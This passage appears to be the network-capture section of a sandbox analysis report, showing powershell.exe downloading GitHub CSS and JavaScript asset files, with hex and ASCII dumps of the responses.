2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 3a 30 20 33 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 37 29 2c 20 30 20 37 70 78 20 35 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 34 29 2c 20 30 20 31 32 70 78 20 31 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 33 29 2c 20 30 20 32 32 70 78 20 31 38 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 33 29 2c 20 30 20 34 32 70 78 20 33 33 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 32 29 2c 20 30 20 31 30 30 70 78 20 38 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 32 29 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f Data Ascii: 0 0 4px;--color-mktg-btn-shadow-hover:0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shado
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 65 2d 67 6c 6f 62 65 2d 73 63 65 6e 65 3a 3a 61 66 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 72 67 62 61 28 34 2c 20 31 33 2c 20 33 33 2c 20 30 29 20 30 25 2c 20 23 30 34 30 64 32 31 20 36 30 25 29 3b 6f 70 61 63 69 74 79 3a 2e 33 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 68 6f 6d 65 2d 67 6c 6f 62 65 2d 73 63 65 6e 65 3a 3a 61 66 74 65 72 7b 62 61 63 6b 67 72 Data Ascii: e-globe-scene::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;pointer-events:none;content:"";background:linear-gradient(to bottom, rgba(4, 13, 33, 0) 0%, #040d21 60%);opacity:.3}@media(min-width: 768px){.home-globe-scene::after{backgr
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 35 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 70 78 29 7d 7d 2e 68 6f 6d 65 2d 63 61 6d 70 61 69 67 6e 2d 68 65 72 6f 7b 2d 2d 6d 6b 74 67 2d 61 63 63 65 6e 74 2d 70 72 69 6d 61 72 79 3a 20 23 37 63 37 32 66 66 7d 2e 68 6f 6d 65 2d 63 61 6d 70 61 69 67 6e 2d 65 6e 74 65 72 70 72 69 73 65 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 23 62 63 38 63 66 66 20 30 20 30 20 30 20 31 70 78 20 69 6e 73 65 74 7d 2e 74 65 78 74 2d 61 63 63 65 6e 74 2d 70 72 69 6d 61 72 79 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 6d 6b 74 67 2d 61 63 63 65 6e 74 2d 70 72 69 6d 61 72 79 29 7d 2e 68 6f 6d 65 2d 63 61 6d 70 61 69 67 6e 2d 70 72 6f 64 75 63 74 69 76 69 74 79 7b 2d 2d 6d 6b 74 67 2d Data Ascii: nsform:translateY(0)}50%{transform:translateY(-10px)}}.home-campaign-hero{--mktg-accent-primary: #7c72ff}.home-campaign-enterprise{box-shadow:#bc8cff 0 0 0 1px inset}.text-accent-primary{color:var(--mktg-accent-primary)}.home-campaign-productivity{--mktg-
2024-09-30 13:50:14 UTC	389	IN	Data Raw: 63 65 29 7b 2e 68 6f 6d 65 2d 73 68 61 70 65 2d 72 6f 74 61 74 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 72 6f 74 61 74 65 2d 6b 65 79 66 72 61 6d 65 73 20 31 38 30 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 7d 2e 68 6f 6d 65 2d 66 6f 6f 74 65 72 2d 66 6c 6f 61 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 68 6f 6d 65 2d 66 6f 6f 74 65 72 2d 66 6c 6f 61 74 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 61 6c 74 65 72 6e 61 74 65 7d 2e 68 6f 6d 65 2d 66 6f 6f 74 65 72 2d 72 6f 74 61 74 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 72 6f 74 61 74 65 2d 6b 65 79 66 72 61 6d 65 73 20 36 30 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 7d 40 6b 65 79 66 72 61 6d 65 73 20 68 6f 6d 65 2d 66 6f 6f 74 65 72 2d 66 6c 6f 61 74 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d Data Ascii: ce){.home-shape-rotate{animation:rotate-keyframes 180s linear infinite}.home-footer-float{animation:home-footer-float 5s linear infinite alternate}.home-footer-rotate{animation:rotate-keyframes 60s linear infinite}@keyframes home-footer-float{0%{transform

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49723	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:14 UTC	382	OUT	GET /assets/primer-react-css.8879c83c1311e6328466.module.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:14 UTC	680	IN	HTTP/1.1 200 OK Connection: close Content-Length: 30484 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Mon, 23 Sep 2024 21:46:50 GMT ETag: "0x8DCDC193B5298D0" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 520754 Date: Mon, 30 Sep 2024 13:50:14 GMT X-Served-By: cache-iad-kiad7000044-IAD, cache-nyc-kteb1890035-NYC X-Cache: HIT, HIT X-Cache-Hits: 80, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: c7905eb9cae94b1d1f60175c4149cd52f55c15ca
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 40 6c 61 79 65 72 20 70 72 69 6d 65 72 2d 72 65 61 63 74 7b 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 69 74 69 61 6c 3b 62 6f 72 64 65 72 3a 76 61 72 28 2d 2d 62 6f 72 64 65 72 57 69 64 74 68 2d 74 68 69 6e 2c 6d 61 78 28 31 70 78 2c 2e 30 36 32 35 72 65 6d 29 29 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 72 65 73 74 2c 76 61 72 28 2d 2d 63 6f Data Ascii: @layer primer-react{:where(.prc-Button-ButtonBase-c50BI){align-items:center;-webkit-appearance:none;appearance:none;background-color:initial;border:var(--borderWidth-thin,max(1px,.0625rem)) solid;border-color:var(--button-default-borderColor-rest,var(--co
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 64 69 73 61 62 6c 65 64 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 56 69 73 75 61 6c 2d 32 65 70 66 58 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 40 6d 65 64 69 61 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 7d 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 56 69 73 75 61 6c 2d 32 65 70 66 58 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 76 61 72 Data Ascii: ButtonBase-c50BI):disabled .prc-Button-Visual-2epfX{color:inherit}@media (forced-colors:active){:where(.prc-Button-ButtonBase-c50BI):focus{outline:1px solid #0000}}:where(.prc-Button-ButtonBase-c50BI) .prc-Button-Visual-2epfX{color:var(--fgColor-muted,var
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 29 20 6d 69 6e 2d 63 6f 6e 74 65 6e 74 7d 3a 69 73 28 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 43 6f 6e 74 65 6e 74 2d 48 4b 62 72 2d 29 3e 3a 6e 6f 74 28 3a 6c 61 73 74 2d 63 68 69 6c 64 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 38 2c 2e 35 72 65 6d 29 7d 3a 69 73 28 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 43 6f 6e 74 65 6e 74 2d 48 4b 62 72 2d 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 61 6c 69 67 6e 3d 63 65 6e 74 65 72 5d 29 7b 6a 75 73 74 69 66 79 2d 63 6f Data Ascii: ) min-content}:is(:where(.prc-Button-ButtonBase-c50BI) .prc-Button-ButtonContent-HKbr-)>:not(:last-child){margin-right:var(--base-size-8,.5rem)}:is(:where(.prc-Button-ButtonBase-c50BI) .prc-Button-ButtonContent-HKbr-):where([data-align=center]){justify-co
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 73 69 7a 65 3d 6c 61 72 67 65 5d 29 7b 67 61 70 3a 76 61 72 28 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 67 61 70 2c 2e 35 72 65 6d 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 73 69 7a 65 2c 32 2e 35 72 65 6d 29 3b 70 61 64 64 69 6e 67 3a 30 20 76 61 72 28 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 49 6e 6c 69 6e 65 2d 73 70 61 63 69 6f 75 73 2c 31 72 65 6d 29 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 73 69 7a 65 3d 6c 61 72 67 65 5d 29 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 43 6f 6e 74 65 6e 74 2d Data Ascii: -c50BI):where([data-size=large]){gap:var(--control-large-gap,.5rem);height:var(--control-large-size,2.5rem);padding:0 var(--control-large-paddingInline-spacious,1rem)}:where(.prc-Button-ButtonBase-c50BI):where([data-size=large]) .prc-Button-ButtonContent-
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 29 7b 68 65 69 67 68 74 3a 75 6e 73 65 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 73 69 7a 65 2c 32 2e 35 72 65 6d 29 3b 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 3a 76 61 72 28 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 49 6e 6c 69 6e 65 2d 73 70 61 63 69 6f 75 73 2c 31 72 65 6d 29 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 6c 61 62 65 6c 2d 77 72 61 70 3d 74 72 75 65 5d 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 73 69 7a 65 3d 6c 61 72 67 65 5d 29 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 43 6f 6e 74 65 6e 74 2d 48 4b 62 72 2d 7b 70 61 64 64 69 6e 67 2d Data Ascii: ){height:unset;min-height:var(--control-large-size,2.5rem);padding-inline:var(--control-large-paddingInline-spacious,1rem)}:where(.prc-Button-ButtonBase-c50BI):where([data-label-wrap=true]):where([data-size=large]) .prc-Button-ButtonContent-HKbr-{padding-
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 64 65 66 61 75 6c 74 5d 29 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 67 43 6f 6c 6f 72 2d 61 63 74 69 76 65 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 61 63 74 69 76 65 2d 62 67 29 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 61 63 74 69 76 65 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 61 63 74 69 76 65 2d 62 6f 72 64 65 72 29 29 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 Data Ascii: 0BI):where([data-variant=default]):active{background-color:var(--button-default-bgColor-active,var(--color-btn-active-bg));border-color:var(--button-default-borderColor-active,var(--color-btn-active-border))}:where(.prc-Button-ButtonBase-c50BI):where([dat
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 6f 77 2d 72 65 73 74 69 6e 67 2d 73 6d 61 6c 6c 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 73 68 61 64 6f 77 2d 73 6d 61 6c 6c 29 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2d 66 67 43 6f 6c 6f 72 2d 72 65 73 74 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 29 29 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 70 72 69 6d 61 72 79 5d 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e Data Ascii: ow-resting-small,var(--color-shadow-small));color:var(--button-primary-fgColor-rest,var(--color-btn-primary-text))}:where(.prc-Button-ButtonBase-c50BI):where([data-variant=primary]):hover{background-color:var(--button-primary-bgColor-hover,var(--color-btn
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 73 65 6c 65 63 74 65 64 2d 62 67 29 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2d 73 68 61 64 6f 77 2d 73 65 6c 65 63 74 65 64 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 73 65 6c 65 63 74 65 64 2d 73 68 61 64 6f 77 29 29 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 70 72 69 6d 61 72 79 5d 29 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 43 6f 75 6e 74 65 72 4c 61 62 65 6c 2d 66 35 2d 34 75 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 43 6f Data Ascii: r(--color-btn-primary-selected-bg));box-shadow:var(--button-primary-shadow-selected,var(--color-btn-primary-selected-shadow))}:where(.prc-Button-ButtonBase-c50BI):where([data-variant=primary]) .prc-Button-CounterLabel-f5-4u{background-color:var(--buttonCo
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 64 61 6e 67 65 72 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 63 6f 75 6e 74 65 72 2d 62 67 29 29 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 64 61 6e 67 65 72 2d 66 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 63 6f 75 6e 74 65 72 2d 66 67 29 29 21 69 6d 70 6f 72 74 61 6e 74 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 64 61 6e 67 65 72 5d 29 3a 68 6f 76 65 72 20 2e 70 72 63 2d 42 75 74 74 6f 6e Data Ascii: danger-bgColor-hover,var(--color-btn-danger-hover-counter-bg))!important;color:var(--buttonCounter-danger-fgColor-hover,var(--color-btn-danger-hover-counter-fg))!important}:where(.prc-Button-ButtonBase-c50BI):where([data-variant=danger]):hover .prc-Button
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 2d 64 69 73 61 62 6c 65 64 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 74 65 78 74 29 29 7d 3a 77 68 65 72 65 28 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 42 75 74 74 6f 6e 42 61 73 65 2d 63 35 30 42 49 29 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 64 61 6e 67 65 72 5d 29 3a 64 69 73 61 62 6c 65 64 20 2e 70 72 63 2d 42 75 74 74 6f 6e 2d 43 6f 75 6e 74 65 72 4c 61 62 65 6c 2d 66 35 2d 34 75 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 64 61 6e 67 65 72 2d 62 67 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 2c 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 63 6f 75 6e 74 65 72 Data Ascii: -disabled,var(--color-btn-danger-disabled-text))}:where(.prc-Button-ButtonBase-c50BI):where([data-variant=danger]):disabled .prc-Button-CounterLabel-f5-4u{background-color:var(--buttonCounter-danger-bgColor-disabled,var(--color-btn-danger-disabled-counter

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49724	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:14 UTC	360	OUT	GET /assets/wp-runtime-f35b332dbe90.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:15 UTC	692	IN	HTTP/1.1 200 OK Connection: close Content-Length: 55567 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Mon, 30 Sep 2024 11:18:50 GMT ETag: "0x8DCE141A8CA4252" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2476 Date: Mon, 30 Sep 2024 13:50:15 GMT X-Served-By: cache-iad-kiad7000049-IAD, cache-ewr-kewr1740054-EWR X-Cache: HIT, HIT X-Cache-Hits: 10, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9ebea82c54137a4f58c48bec9b825efbad1b0ded
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 7d 2c 5f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 6f 29 7b 76 61 72 20 61 3d 5f 5b 6f 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 61 29 72 65 74 75 72 6e 20 61 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 64 3d 5f 5b 6f 5d 3d 7b 69 64 3a 6f 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6f 5d 2e 63 61 6c 6c 28 64 2e 65 78 70 6f 72 74 73 2c 64 2c 64 2e 65 78 70 6f 72 74 73 2c 73 29 2c 64 2e 6c 6f 61 64 65 64 3d 21 30 2c 64 2e 65 78 70 6f 72 74 73 7d 73 2e 6d 3d 65 2c 73 2e 61 6d 64 4f 3d 7b 7d 2c 28 28 29 3d 3e 7b 76 61 72 20 65 3d 5b 5d 3b 73 2e 4f 3d 28 5f 2c 6f 2c 61 2c 64 29 3d 3e 7b 69 66 28 6f 29 7b 64 3d 64 7c 7c 30 3b 66 6f 72 Data Ascii: (()=>{"use strict";var e={},_={};function s(o){var a=_[o];if(void 0!==a)return a.exports;var d=_[o]={id:o,loaded:!1,exports:{}};return e[o].call(d.exports,d,d.exports,s),d.loaded=!0,d.exports}s.m=e,s.amdO={},(()=>{var e=[];s.O=(_,o,a,d)=>{if(o){d=d\|\|0;for
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 64 34 34 33 35 65 31 36 66 30 62 2e 6a 73 22 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 6f 6d 70 75 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 62 37 33 66 64 66 66 37 37 61 34 65 2e 6a 73 22 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 64 69 73 74 5f 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 2d 66 33 61 65 65 31 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 65 36 38 39 33 64 62 39 63 31 39 65 2e 6a 73 22 3a 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 66 61 69 6c 62 6f 74 5f 66 61 69 6c 62 6f 74 5f 74 73 22 Data Ascii: d4435e16f0b.js":"vendors-node_modules_dompurify_dist_purify_js"===e?""+e+"-b73fdff77a4e.js":"vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1"===e?""+e+"-e6893db9c19e.js":"ui_packages_failbot_failbot_ts"
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 65 3f 22 22 2b 65 2b 22 2d 32 38 32 63 31 37 31 64 33 64 61 64 2e 6a 73 22 3a 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 6d 61 6e 64 2d 70 61 6c 65 74 74 65 5f 69 74 65 6d 73 5f 68 65 6c 70 2d 69 74 65 6d 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 6d 61 6e 2d 34 38 61 64 39 64 22 3d 3d 3d 65 3f 22 22 2b 65 2b 22 2d 33 65 32 63 30 33 65 34 62 64 33 61 2e 6a 73 22 3a 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 64 69 73 74 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 2d 61 37 31 Data Ascii: e?""+e+"-282c171d3dad.js":"app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-48ad9d"===e?""+e+"-3e2c03e4bd3a.js":"vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71
